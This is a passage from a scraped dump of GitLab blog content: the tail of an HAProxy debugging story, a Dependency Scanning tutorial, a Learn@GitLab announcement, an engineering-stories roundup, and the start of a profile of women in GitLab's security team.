web-pages-02-sv-gstg.c.gitlab-staging-1.internal 1443 -\n```\n\nIt appears we are storing some metadata for each backend server, including its old port number!\n\nNow, looking again in `haproxy.cfg`, we see:\n```\nglobal\n    ...\n    server-state-file /etc/haproxy/state/global\n```\n\nSo we are using the\n[`server-state-file`](https://cbonte.github.io/haproxy-dconv/1.8/configuration.html#server-state-file)\ndirective. This will persist server state across HAProxy restarts. That is\nuseful to keep metadata consistent, such as whether a server was marked as\nMAINT.\n\n**However, it appears to be clobbering the port from `haproxy.cfg`!**\n\nThe suspected behavior is:\n\n* HAProxy is running with the old config: `web-pages-01-sv-gstg`, `1443`\n* `haproxy.cfg` is updated with the new config: `web-pages-01-sv-gstg`, `2443`, `send-proxy-v2`\n* HAProxy reload is initiated\n* HAProxy writes out the state to `/etc/haproxy/state/global` (including the old port of each backend server)\n* HAProxy starts up, reads `haproxy.cfg`, initializes itself with the new config: `web-pages-01-sv-gstg`, `2443`, `send-proxy-v2`\n* HAProxy reads the state from `/etc/haproxy/state/global`, matches on the backend server `web-pages-01-sv-gstg`, and overrides all values, including the port!\n\nThe result is that we are now attempting to send PROXYv2 traffic to the TLS port.\n\n## The workaround\n\nTo validate the theory and develop a potential workaround, we modify\n`haproxy.cfg` to use a different backend server name.\n\nThe new diff is:\n```diff\n-    server web-pages-01-sv-gstg         web-pages-01-sv-gstg.c.gitlab-staging-1.internal:1443 check inter 3s fastinter 1s downinter 5s fall 3 port 1080\n-    server web-pages-02-sv-gstg         web-pages-02-sv-gstg.c.gitlab-staging-1.internal:1443 check inter 3s fastinter 1s downinter 5s fall 3 port 1080\n+    server web-pages-01-sv-gstg-proxyv2 web-pages-01-sv-gstg.c.gitlab-staging-1.internal:2443 check inter 3s fastinter 1s downinter 5s fall 3 port 1080 send-proxy-v2\n+    server web-pages-02-sv-gstg-proxyv2 web-pages-02-sv-gstg.c.gitlab-staging-1.internal:2443 check inter 3s fastinter 1s downinter 5s fall 3 port 1080 send-proxy-v2\n```\n\nWith this config change in place, we reload HAProxy and indeed, it is now\nserving traffic correctly. See [the merge request fixing it](https://gitlab.com/gitlab-cookbooks/gitlab-haproxy/-/merge_requests/261).\n\n## A follow-up on those `QUIT` bytes\n\nNow, what is up with that `QUIT` message? Is it part of the PROXY protocol? Remember, searching [the\nspec](https://www.haproxy.org/download/1.8/doc/proxy-protocol.txt) for that\nstring did not find any matches. However, Matt actually read the spec, and found this section on version 2 of\nthe protocol:\n```\nThe binary header format starts with a constant 12 bytes block containing the\nprotocol signature :\n\n   \\x0D \\x0A \\x0D \\x0A \\x00 \\x0D \\x0A \\x51 \\x55 \\x49 \\x54 \\x0A\n```\n\nThose are indeed the bytes that make up \"\\r\\n\\r\\n\\0\\r\\nQUIT\\n\". Slightly less mnemonic than the header from text-based version 1 of the protocol:\n```\n- a string identifying the protocol : \"PROXY\" ( \\x50 \\x52 \\x4F \\x58 \\x59 )\n  Seeing this string indicates that this is version 1 of the protocol.\n```\n\nWell, I suppose that explains it.\n\nI believe our work here is done. Don't forget to like and subscribe!\n",[6962,676],{"slug":20067,"featured":6,"template":678},"this-sre-attempted-to-roll-out-an-haproxy-change","content:en-us:blog:this-sre-attempted-to-roll-out-an-haproxy-change.yml","This Sre Attempted To Roll Out An Haproxy Change","en-us/blog/this-sre-attempted-to-roll-out-an-haproxy-change.yml","en-us/blog/this-sre-attempted-to-roll-out-an-haproxy-change",{"_path":20073,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20074,"content":20080,"config":20084,"_id":20086,"_type":16,"title":20087,"_source":17,"_file":20088,"_stem":20089,"_extension":20},"/en-us/blog/try-dependency-scanning",{"title":20075,"description":20076,"ogTitle":20075,"ogDescription":20076,"noIndex":6,"ogImage":20077,"ogUrl":20078,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20078,"schema":20079},"A quick guide to GitLab Dependency Scanning","A walk through of creating a quick example project in order to see Dependency Scanning in action.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681849/Blog/Hero%20Images/iceberg_header.jpg","https://about.gitlab.com/blog/try-dependency-scanning","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A quick guide to GitLab Dependency Scanning\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Nicole Schwartz\"}],\n        \"datePublished\": \"2021-01-14\",\n      }",{"title":20075,"description":20076,"authors":20081,"heroImage":20077,"date":20063,"body":20082,"category":18484,"tags":20083},[14949],"\n\n{::options parse_block_html=\"true\" /}\n\n\n\nAre you curious about our Secure offerings? They are easy, and free, to try out!\n\nI suggest you create a free demo project to check them out and see if it's something you might want. \n\nDid you know? If you have a public project on GitLab.com you can enable our Secure scanning functionality. Please note that [educational institutions](https://about.gitlab.com/solutions/education/) and [open-source projects](https://about.gitlab.com/solutions/open-source/join/) can also request free licenses.\n\nIn this blog I will walk you through creating a new demo project, adding Dependency Scanning, and reviewing the results of the scan. Following the steps below should take you 15 minutes.\n\n### Create a test project\n\nLet's grab a test project and enable Dependency Scanning.\n\n1. [Sign in](https://gitlab.com/users/sign_in) to your GitLab account.\n1. Create a new project by clicking \"New project\" on your [project list](https://gitlab.com/dashboard/projects).\n![New project](https://about.gitlab.com/images/blogimages/2020-unfiltered-try-dependency-scanning/01_new_project.png){: .shadow.center}\n1. Select the \"Create from template\" option.\n1. Select a project template. Be sure to choose one that is written in one of our [supported languages and package managers](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#supported-languages-and-package-managers). I have chosen a [Ruby on Rails template](https://gitlab.com/gitlab-org/project-templates/rails).\n![Project from template](https://about.gitlab.com/images/blogimages/2020-unfiltered-try-dependency-scanning/02_from_template.png){: .shadow.center}\n1. Click the \"Use template\" button.\n1. You need to name your project. I named mine \"mytestrubyonrails\". **Be sure to set the Visibility level to \"Public\"**.\n![Template settings](https://about.gitlab.com/images/blogimages/2020-unfiltered-try-dependency-scanning/03_template_settings.png){: .shadow.center}\n1. You now have a new project.\n![Your new project](https://about.gitlab.com/images/blogimages/2020-unfiltered-try-dependency-scanning/04_new_project.png){: .shadow.center}\n\n### Configure Dependency Scanning to run in the pipeline\n\n#### Create a new file in your project\n\n1. Click \"New file\".\n![Add a new file](https://about.gitlab.com/images/blogimages/2020-unfiltered-try-dependency-scanning/05_new_file.png){: .shadow.center}\n1. You have two choices to populate the file - Template or Advanced.\n\n#### Use the template to fill `.gitlab-ci.yml`\n\n1. On the `New file` page choose \"Select a template type > .gitlab-ci.yml\".\n![pick yml as file template](https://about.gitlab.com/images/blogimages/2020-unfiltered-try-dependency-scanning/06_yml_template.png){: .shadow.center}\n1. Select \"Apply a template > Dependency-Scanning\".\n![dependency scanning template yml](https://about.gitlab.com/images/blogimages/2020-unfiltered-try-dependency-scanning/07_yml_ds.png){: .shadow.center}\n\n#### Advanced - manually enter data into `.gitlab-ci.yml`\n\n1. On the `New file` page name the file `.gitlab-ci.yml`.\n1. Insert the necessary lines of code per our [user documentation](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#configuration).\n\n```\n   stages:\n   - test\n   - qa\n\n   include:\n   - template: Dependency-Scanning.gitlab-ci.yml\n\n   dependency_scanning:\n   stage: test\n   variables:\n     CI_DEBUG_TRACE: \"true\"\n```\n\n![advanced yml](https://about.gitlab.com/images/blogimages/2020-unfiltered-try-dependency-scanning/08_yml_advanced.png){: .shadow.center}\n\n#### Commit the file\n\n1. Add a commit message if you want.\n1. Change the \"Target Branch\" from \"master\" to something else - for example \"add-ds\", and leave the \"Start a new merge request with these changes\" box checked.\n![dependency scanning template rename target](https://about.gitlab.com/images/blogimages/2020-unfiltered-try-dependency-scanning/07_yml_template_rename.png){: .shadow.center}\n1. Click \"Commit changes\".\n1. A \"New Merge Request\" page will load. Scroll to the bottom and click \"Submit merge request\".\n![dependency scanning template merge request part 1](https://about.gitlab.com/images/blogimages/2020-unfiltered-try-dependency-scanning/07_yml_template_mr_01.png){: .shadow.center}\n![dependency scanning template merge request part 2](https://about.gitlab.com/images/blogimages/2020-unfiltered-try-dependency-scanning/07_yml_template_mr_02.png){: .shadow.center}\n1. The pipeline will now run.\n\n### View pipeline results\n\nNow that you have your first pipeline, this and any future pipeline will run the Dependency Scanning jobs. You can review the results after a pipeline completes by:\n  1. View the Merge request - look at the security MR report area.\n![merge request security report](https://about.gitlab.com/images/blogimages/2020-unfiltered-try-dependency-scanning/09_mr_report.png){: .shadow.center}\n  1. Click expand to see the details.\n![expanded merge request security report](https://about.gitlab.com/images/blogimages/2020-unfiltered-try-dependency-scanning/10_mr_report_expanded.png){: .shadow.center}\n  1. You can also view the Security tab in the pipeline.\n![security tab in the pipeline](https://about.gitlab.com/images/blogimages/2020-unfiltered-try-dependency-scanning/11_pipeline_security_tab.png){: .shadow.center}\n\nNote: For this example we are going to decide not to act on the findings as part of the merge request, and we have not configured [security merge request approvals](https://docs.gitlab.com/ee/user/application_security/index.html#security-approvals-in-merge-requests) so findings do not require additional approvers before you are permitted to merge.\n\nYou can see [my example merge request](https://gitlab.com/NicoleSchwartz/mytestrubyonrails/-/merge_requests/1).\n\n### View results outside of the merge request\n\nFirst, merge this request in to master for your test project. The results will not show outside of the merge request until this is done.\n\nNow you can see the findings by navigating to the [Security Dashboard](https://docs.gitlab.com/ee/user/application_security/security_dashboard/).\n![navigate to the security dashboard](https://about.gitlab.com/images/blogimages/2020-unfiltered-try-dependency-scanning/navigate_dashboard.png){: .shadow.center}\n![the security dashboard](https://about.gitlab.com/images/blogimages/2020-unfiltered-try-dependency-scanning/dashboard.png){: .shadow.center}\n\nYou can view just the dependencies and their found issues by viewing the [Dependency List](https://docs.gitlab.com/ee/user/application_security/dependency_list/).\n![navigate to the dependency list](https://about.gitlab.com/images/blogimages/2020-unfiltered-try-dependency-scanning/navigate_d_list.png){: .shadow.center}\n![the dependency list](https://about.gitlab.com/images/blogimages/2020-unfiltered-try-dependency-scanning/dependency_list.png){: .shadow.center}\n![expand a row in the dependency list](https://about.gitlab.com/images/blogimages/2020-unfiltered-try-dependency-scanning/dependency_list_expanded.png){: .shadow.center}\nYou can see [my dependency list](https://gitlab.com/NicoleSchwartz/mytestrubyonrails/-/dependencies).\n\nYou can click on a finding in the dashboard to see more details. This takes you to the vulnerability's page.\n![stand alone vulnerability's page](https://about.gitlab.com/images/blogimages/2020-unfiltered-try-dependency-scanning/stand_alone_vuln.png){: .shadow.center}\n\nOn the vulnerability's page you can decide to set the status (dismiss, confirm, resolve) after triaging.\n![stand alone vulnerabilities status](https://about.gitlab.com/images/blogimages/2020-unfiltered-try-dependency-scanning/stand_alone_vuln_status.png){: .shadow.center}\nYou can [see my example finding](https://gitlab.com/NicoleSchwartz/mytestrubyonrails/-/security/vulnerabilities/4085028).\n\nYou can create an issue from a vulnerability.\n![stand alone vulnerabilities created issue](https://about.gitlab.com/images/blogimages/2020-unfiltered-try-dependency-scanning/issue_created.png){: .shadow.center}\nYou can [see my example issue](https://gitlab.com/NicoleSchwartz/mytestrubyonrails/-/issues/1).\n\nNow go on and try it yourself!\n\nIf the above blog walkthrough of creating a demo project and running Dependency Scanning got you curious you can [read more about Dependency Scanning in our user documentation](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/).\n\nIf you would rather try a different type of Secure scanner - they are all just as easy to set up [read more about our Secure scanning tools in our user documentation](https://docs.gitlab.com/ee/user/application_security/#security-scanning-tools).\n\n[Cover image](https://flic.kr/p/4SyNQi) by [Alan Light](https://www.flickr.com/people/alan-light/), licensed under [Attribution 2.0 Generic (CC BY 2.0)](https://creativecommons.org/licenses/by/2.0/)\n{: .note}\n",[754,674,4144],{"slug":20085,"featured":6,"template":678},"try-dependency-scanning","content:en-us:blog:try-dependency-scanning.yml","Try Dependency Scanning","en-us/blog/try-dependency-scanning.yml","en-us/blog/try-dependency-scanning",{"_path":20091,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20092,"content":20097,"config":20102,"_id":20104,"_type":16,"title":20105,"_source":17,"_file":20106,"_stem":20107,"_extension":20},"/en-us/blog/learn-gitlab-devops-version-control",{"title":20093,"description":20094,"ogTitle":20093,"ogDescription":20094,"noIndex":6,"ogImage":12302,"ogUrl":20095,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20095,"schema":20096},"GitLab tutorials for secure pipelines, Kubernetes, and more at Learn@GitLab","Learn@GitLab offers videos and self-driven demos so you can get the most out of GitLab at your own pace.","https://about.gitlab.com/blog/learn-gitlab-devops-version-control","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab tutorials for secure pipelines, Kubernetes, and more at Learn@GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chrissie Buchanan\"}],\n        \"datePublished\": \"2021-01-12\",\n      }",{"title":20093,"description":20094,"authors":20098,"heroImage":12302,"date":20099,"body":20100,"category":734,"tags":20101},[18462],"2021-01-12","\nAt GitLab, we often say that it's not what you know, it's knowing where to look. But sometimes, finding answers isn’t so easy.\n\nAn autonomous, [self-service](/company/culture/all-remote/self-service/#proactive-approach-to-answering-questions), self-learning, and self-searching mindset is when you operate with the idea that your question has already been answered – somewhere. But we realized that for people interested in GitLab, or even those using GitLab, learning **how** to use it wasn’t always easy to find.\n\nWhile we stress the importance of having a [single source of truth](https://handbook.gitlab.com/handbook/values/#single-source-of-truth), we realized that when it came to learning about GitLab, there were almost too many places to look. We have [GitLab University](https://docs.gitlab.com/ee/index.html), our official [GitLab](https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg) and [GitLab Unfiltered](https://www.youtube.com/channel/UCMtZ0sc1HHNtGGWZFDRTh5A) YouTube pages where we regularly upload educational content, and of course, the [docs](https://docs.gitlab.com/). We needed to find a way to consolidate self-education and make it more intuitive.\n\n## What is Learn@GitLab?\n\n[Learn@GitLab](/learn/) is a learning portal where anyone can go to find self-driven demos and videos about using GitLab. Rather than just making Learn@GitLab _one more resource_, we’re iterating on this idea and consolidating our educational content so that it’s self-driven and easy to find.\n\nThe goal for Learn@GitLab is to present high quality, and accessible technical content that is easy to find on our website to help prospects and users educate themselves about GitLab. This content will include educational technical videos, as well as simulation/click-through demos, and tutorials. The content is organized by common topics such as [DevOps Platform](/solutions/devops-platform/), [version control](/topics/version-control/) and collaboration, and continuous integration, to name a few.\n\nWe’ve picked three of our favorite videos/tutorials for you to get a quick introduction to Learn@GitLab.\n\n## The benefits of a single DevOps platform\n\nWhen we talk about the benefits of GitLab, we often talk about how it saves time and how the single application reduces toolchain complexity. But what does that mean in the context of an ordinary toolchain using tools like GitHub, Jenkins, Jira, etc.?\n\nIn this super short video, we break down a typical toolchain according to three criteria: Integrations needed, clicks, and screen switches. How many times do you need to context switch for a simple task? We break it down for you.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/MNxkyLrA5Aw\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Adding security to your GitLab CI/CD pipeline\n\nGitLab helps teams go from DevOps to DevSecOps. One of the ways we help is by allowing you to check your application for security vulnerabilities in your CI/CD pipelines that may lead to unauthorized access, data leaks, denial of services, or worse. GitLab reports these vulnerabilities in the merge request so you can fix them before they ever reach end users.\n\nThis quick video guides you through setting up and configuring GitLab security features, and setting up approval rules for merge requests.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/Fd5DhebtScg\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## GitLab developer flow with Kubernetes\n\nIf you’re a developer, or even just managing a team of developers, you might want to see what a typical workflow would be like using GitLab. If you’re using [Kubernetes](/solutions/kubernetes/), seeing how GitLab works within a deployment environment is especially important.\n\nIn this technical demo, we use Amazon EKS as the deployment environment. We go over creating GitLab issues, merge requests, how to use Auto DevOps pipeline templates, review apps, advanced deployment techniques, and staging and production rollout – all in **just 15 minutes.**\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/TMQziI2VDbQ\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nWhile we’ll continue to have educational content in other places on our site (and will continue to update them), Learn@GitLab will act as a front door for self education that is no more than two clicks from our homepage. With this new learning portal, we hope to teach people what problems GitLab can solve, but more importantly, show step-by-step _how_ GitLab solves them.\n\nFeel free to explore the different learning paths and comment below if you have any suggestions. Everyone can contribute.\n\n\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>&nbsp;&nbsp;\n[Go to Learn@GitLab](/learn/)!\n&nbsp;&nbsp;\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n\nCover image by [Benjamin Davies](https://unsplash.com/@bendavisual?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/learn?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n",[676,232,696],{"slug":20103,"featured":6,"template":678},"learn-gitlab-devops-version-control","content:en-us:blog:learn-gitlab-devops-version-control.yml","Learn Gitlab Devops Version Control","en-us/blog/learn-gitlab-devops-version-control.yml","en-us/blog/learn-gitlab-devops-version-control",{"_path":20109,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20110,"content":20116,"config":20121,"_id":20123,"_type":16,"title":20124,"_source":17,"_file":20125,"_stem":20126,"_extension":20},"/en-us/blog/top-engineering-stories-gitlab",{"title":20111,"description":20112,"ogTitle":20111,"ogDescription":20112,"noIndex":6,"ogImage":20113,"ogUrl":20114,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20114,"schema":20115},"These are your favorite GitLab engineering stories","From building a Web IDE, to our migration to GCP, to tracking down a bug in NFS – these are some of our most popular engineering blog posts.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681835/Blog/Hero%20Images/stairs_iteration.jpg","https://about.gitlab.com/blog/top-engineering-stories-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"These are your favorite GitLab engineering stories\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}],\n        \"datePublished\": \"2021-01-07\",\n      }",{"title":20111,"description":20112,"authors":20117,"heroImage":20113,"date":20118,"body":20119,"category":734,"tags":20120},[17272],"2021-01-07","\n\nSome of our most popular and enduring engineering stories show how we use GitLab technology to take small steps to achieve major upgrades, fixes, and integrations to improve upon GitLab features. These stories demonstrate one of our core values at GitLab, [iteration](https://handbook.gitlab.com/handbook/values/#iteration) – meaning we ship the smallest changes first. When it comes to building new features or introducing fixes at GitLab, our engineering team operates under the principle that incremental change drives the greatest value.\n\n## How we executed on milestone migrations\n\n### Azure to GCP\n\nAzure simply was not cutting it for hosting GitLab.com, and we decided it was time to migrate GitLab over to Google Cloud Platform (GCP). This was no small decision or endeavor, and we documented our end-to-end process publicly in the hopes that other companies might learn from our experience. [Read the blog post describing the migration to GCP](/blog/gitlab-journey-from-azure-to-gcp/), or watch the video below to learn more about this major migration.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/Ve_9mbJHPXQ\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nNext, we explain how we analyzed data to see [how GitLab.com was performing on GCP after this major migration](/blog/gitlab-com-stability-post-gcp-migration/). Turns out, GitLab.com availability improved by 61% post-migration.\n\n### Upgrading PostgreSQL\n\nIn another blog post, one of GitLab.com’s main PostgreSQL clusters needed a major version upgrade. We knew it wouldn’t be easy, but in May 2020, we pulled off a [near-perfect execution of this substantial upgrade](/blog/gitlab-pg-upgrade/). We explain how the process unfolded, from planning to testing to full automation.\n\n### Moving to Kubernetes\n\n[Migrating GitLab.com over to Kubernetes](/blog/year-of-kubernetes/) was a painstaking and complex process. In one of our most popular blog posts last year, we share the trials and triumphs from the year after the migration.\n\n## Code detectives show their debugging work\n\nGitLab engineering fellow [Stan Hu](/company/team/#stanhu) explains [how debugging a bug in the Docker client library](/blog/tracking-down-missing-tcp-keepalives/) that was used in the GitLab runner taught him more about Docker, Golang, and even GitLab.\n\nBack in 2018, a customer flagged a bug in the NFS that the Support team escalated to Stan and his fellow engineers. It took _two weeks_ to hunt down the NFS bug that was disrupting the Linux kernel, and [Stan chronicles the intricacies of his investigation in this blog post](/blog/how-we-spent-two-weeks-hunting-an-nfs-bug/).\n\nAfter GitLab.com users reported getting the same, mysterious error message, our Scalability team rolled up their sleeves to figure out the origins of the message – and uncovered a complex problem.\n\n![Graph showing connection errors is part of the GitLab Scalability team's troubleshooting efforts](https://about.gitlab.com/images/blogimages/connectionerrorsgraph.png){: .shadow}\nGraph showing connection errors, grouped by second-of-the-minute, indicates a lot of clustering going on in the time dimension.\n{: .note .text-center}\n\nThere were [six key lessons we learned while debugging this scaling problem on GitLab.com](/blog/tyranny-of-the-clock/).\n\n## Using data for anomaly detection\n\nTwo years ago we switched over from our legacy NFS file-sharing service to Gitaly, and soon we noticed that our Gitaly service was lagging.\n\n![Graph showing lagging problems with Gitaly service](https://about.gitlab.com/images/blogimages/graph-01.png){: .shadow}\nWe noticed that the 99th percentile performance of the gRPC endpoint for Gitaly service had dropped from 400ms down to 100ms for an unknown reason.\n{: .note .text-center}\n\nThrough solid application monitoring, we were able to identify the problem and quickly fix it. [Unpack the process behind the Gitaly fix in this popular blog post](/blog/how-a-fix-in-go-19-sped-up-our-gitaly-service-by-30x/).\n\nPrometheus reports on time-series data, which can be used for anomaly detection and alerting. [Learn how you can use this data to set up analysis and alerting with Prometheus](/blog/anomaly-detection-using-prometheus/) and use the code snippets to try it out in your own system.\n\n## Inside GitLab\n\nWhen GitLab co-founder Dmitriy Zaporozhets built GitLab on Ruby on Rails, despite working mostly in PHP at the time. In this foundational blog post, our GitLab CEO, [Sid Sijbrandij](/company/team/#sytses), explains [why building on rails was the best decision for GitLab](/blog/why-we-use-rails-to-build-gitlab/).\n\nWe built our Web IDE to make it easier to edit code using GitLab. Explore [how we took the GitLab Web IDE from an experiment to working feature](/blog/introducing-gitlab-s-integrated-development-environment/).\n\n## The extensions and integrations that power us\n\n### How we built a VS Code extension\n\nAfter a survey revealed that VS Code was the most-used tool by our Frontend team, we decided to build a VS Code extension that works with GitLab. Learn [how we built the VS Code extension](/blog/gitlab-vscode-extension/) in a series of iterations.\n\nSoon, we found out our VS Code extension was very popular. So we wrote a blog post explaining [how users can develop their own extensions with VS Code and GitLab](/blog/vscode-extension-development-with-gitlab/).\n\n### Challenges with Elasticsearch\n\nElasticsearch enables global code search on GitLab.com and would allow us to run advanced syntax search and advanced global search of our codebase. But we ran into trouble with GitLab’s integration with Elasticsearch and [hit some dead ends on our first attempt to initiate the integration](/blog/enabling-global-search-elasticsearch-gitlab-com/). We recalibrated, learned from our mistakes, and [made a second attempt at the integration](/blog/elasticsearch-update/) a few months later.\n\n### Dogfooding at GitLab\n\nThe engineering productivity team at GitLab built Insights to examine trends in the GitLab.com issue tracker at a high-level, but soon realized Insights could be useful to our GitLab Ultimate users. Watch the video below or [read the blog post to explore the origins of Insights](/blog/insights/).\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/kKnQzS9qorc\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### How we reimagined the technical interview\n\nThe trouble with technical interviews is that they rarely reflect the job you’re interviewing for. Learn how former GitLab team member, Clement Ho, [reimagined the technical interview for Frontend engineers](/blog/the-trouble-with-technical-interviews/).\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/dNABW84sTzs\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n\n## How troubleshooting and security modeling can prevent disaster\n\nIn a major feat of coordination, our globally distributed engineering team managed to work synchronously to troubleshoot an issue with our Hashicorp Consul, successfully avoiding any significant problems, including the outage we anticipated. Read \"[The consul outage that never happened](/blog/the-consul-outage-that-never-happened/)\" to learn how they did it.\n\nOur Red team at GitLab is continually searching for vulnerabilities, big and small, and introduces patches to make it function. In one of our most popular 2020 posts, [our security team explains how an attacker who already gained unauthorized access to the cloud platform might be able to take advantage of GCP privileges](/blog/plundering-gcp-escalating-privileges-in-google-cloud-platform/), and how replicating this breach scenario could help you prevent this from happening on your GCP instance.\n\n**Did we miss something?** Share a link to your favorite GitLab engineering story below and [check out our round-up of some of our top stories about how to apply GitLab technology](/blog/gitlab-for-cicd-agile-gitops-cloudnative/).\n\nCover image by [Jamie Saw](https://unsplash.com/@jsclick?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/series-of-stairs?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[676,232],{"slug":20122,"featured":6,"template":678},"top-engineering-stories-gitlab","content:en-us:blog:top-engineering-stories-gitlab.yml","Top Engineering Stories Gitlab","en-us/blog/top-engineering-stories-gitlab.yml","en-us/blog/top-engineering-stories-gitlab",{"_path":20128,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20129,"content":20135,"config":20139,"_id":20141,"_type":16,"title":20142,"_source":17,"_file":20143,"_stem":20144,"_extension":20},"/en-us/blog/whats-it-like-to-work-security-at-gitlab",{"title":20130,"description":20131,"ogTitle":20130,"ogDescription":20131,"noIndex":6,"ogImage":20132,"ogUrl":20133,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20133,"schema":20134},"What’s it like to work in security at GitLab?","Job descriptions and the job they represent don't always line up.  What does someone working in our Security department actually do?","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671032/Blog/Hero%20Images/wocintechchat_blog2.jpg","https://about.gitlab.com/blog/whats-it-like-to-work-security-at-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What’s it like to work in security at GitLab?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather Simpson\"}],\n        \"datePublished\": \"2021-01-07\",\n      }",{"title":20130,"description":20131,"authors":20136,"heroImage":20132,"date":20118,"body":20137,"category":18484,"tags":20138},[12307],"\n\n{::options parse_block_html=\"true\" /}\n\n\n\nThis is post 2 of a 3 part series profiling several women in GitLab’s security organization.  See part one, [\"How to break into security\"](/blog/breaking-into-security/)and three, [\"Considering a career in security? Here’s some advice.\"](/blog/considering-a-career-in-security/).\n{: .note}\n\n_Breaking into technology, and security, can be difficult for anyone. At GitLab [31% of our workforce identifies as women](/handbook/people-group/people-success-performance-indicators/#diversity---women-at-gitlab). In our security department we have ten team members who are women out of a total of 48 team members; that’s 21%.  Global women in tech numbers are around 21.4% according to [CNET](https://www.cnet.com/news/microsofts-first-in-depth-diversity-report-shows-progress-remains-slow/) and this recent study, [“Resetting Tech Culture”](https://www.accenture.com/us-en/blogs/accenture-research/why-tech-is-losing-women-just-when-we-need-them-the-most) indicates that young women who go into tech drop out by the age of 35.  How do we change this?  GitLab is looking to help there through our [outbound hiring model](/handbook/hiring/candidate/faq/), [tracking and working toward key metrics](/handbook/people-group/people-success-performance-indicators/#diversity---women-in-management), [inclusion training](/company/culture/inclusion/#diversity-inclusion--belonging-training-and-learning-opportunities), [team member resource groups](/company/culture/inclusion/erg-guide/#how-to-join-current-tmrgs-and-their-slack-channels), Engineering department-based developmental and networking groups (like our [Women in Security group](/handbook/security/women-in-security.html)), building and fostering an [inclusive remote culture](/company/culture/inclusion/building-diversity-and-inclusion/) and [mentorship programs](/company/culture/inclusion/erg-minorities-in-tech/mentoring/)._\n\nReading a job description can only shed so much light on a role.  When considering a company or career path, it helps to understand what the organization, the roles and the responsibilities look like, from the inside.  This is part 2 of a 3 part series where 8 women in our Security department share details about their roles and the actual projects they are working on.\n\n#### We asked:\n* What do you do and what are some recent projects you’re working on?\n* What’s something new and/or exciting that you’d like to learn or be involved in?\n* If someone was interested in a role like yours, what’s the most helpful piece of advice you could offer?\n\n---\n\n### [Julia Lake](/company/team/#julia.lake) - Director, [Security Risk and Compliance](/handbook/security/#assure-the-customer---the-security-assurance-sub-department)\nJoined GitLab April 2020 / Connect with Julia on [LinkedIn](https://www.linkedin.com/in/julia-lake-16843740/)\n\n![Julia Lake](https://about.gitlab.com/images/blogimages/working-in-security/jlake_blog2.png){: .shadow.small.left.wrap-text}\n\n**What do you do and who do you collaborate with in your role?**\nI am responsible for the Security Assurance sub-department, which includes the security compliance, security operational risk and field security functions. Security Assurance is part of the [Security department](/handbook/security/#security-department), which is part of the broader [Engineering organization](/handbook/engineering/) at GitLab, and we work cross-functionally across the entire organization. We are extremely focused on information security and partner with system and process owners in order to ensure security controls and best practices are embedded throughout our environment. We also support our customers in their assessment of GitLab’s security practices and provide feedback from the field to drive internal security strategy.\n\n**What are some projects you’re working on?**\nAs an organization, some recent projects we’ve embarked on include: SOC 2 Type 2 and SOC 3 audit and report reviews, third party GRC application deployment, customer and sales enablement program development, and deployment of an operational risk management function.  Personally, I’ve been focused on organizational strategy and roadmapping, policy definition and metric redesign.\n\n**What’s something new and/or exciting that you’d like to learn about or be involved in?**\nI’m always interested in learning more about the different functions of security. Lately I’ve been particularly fascinated in learning more around Zero Trust 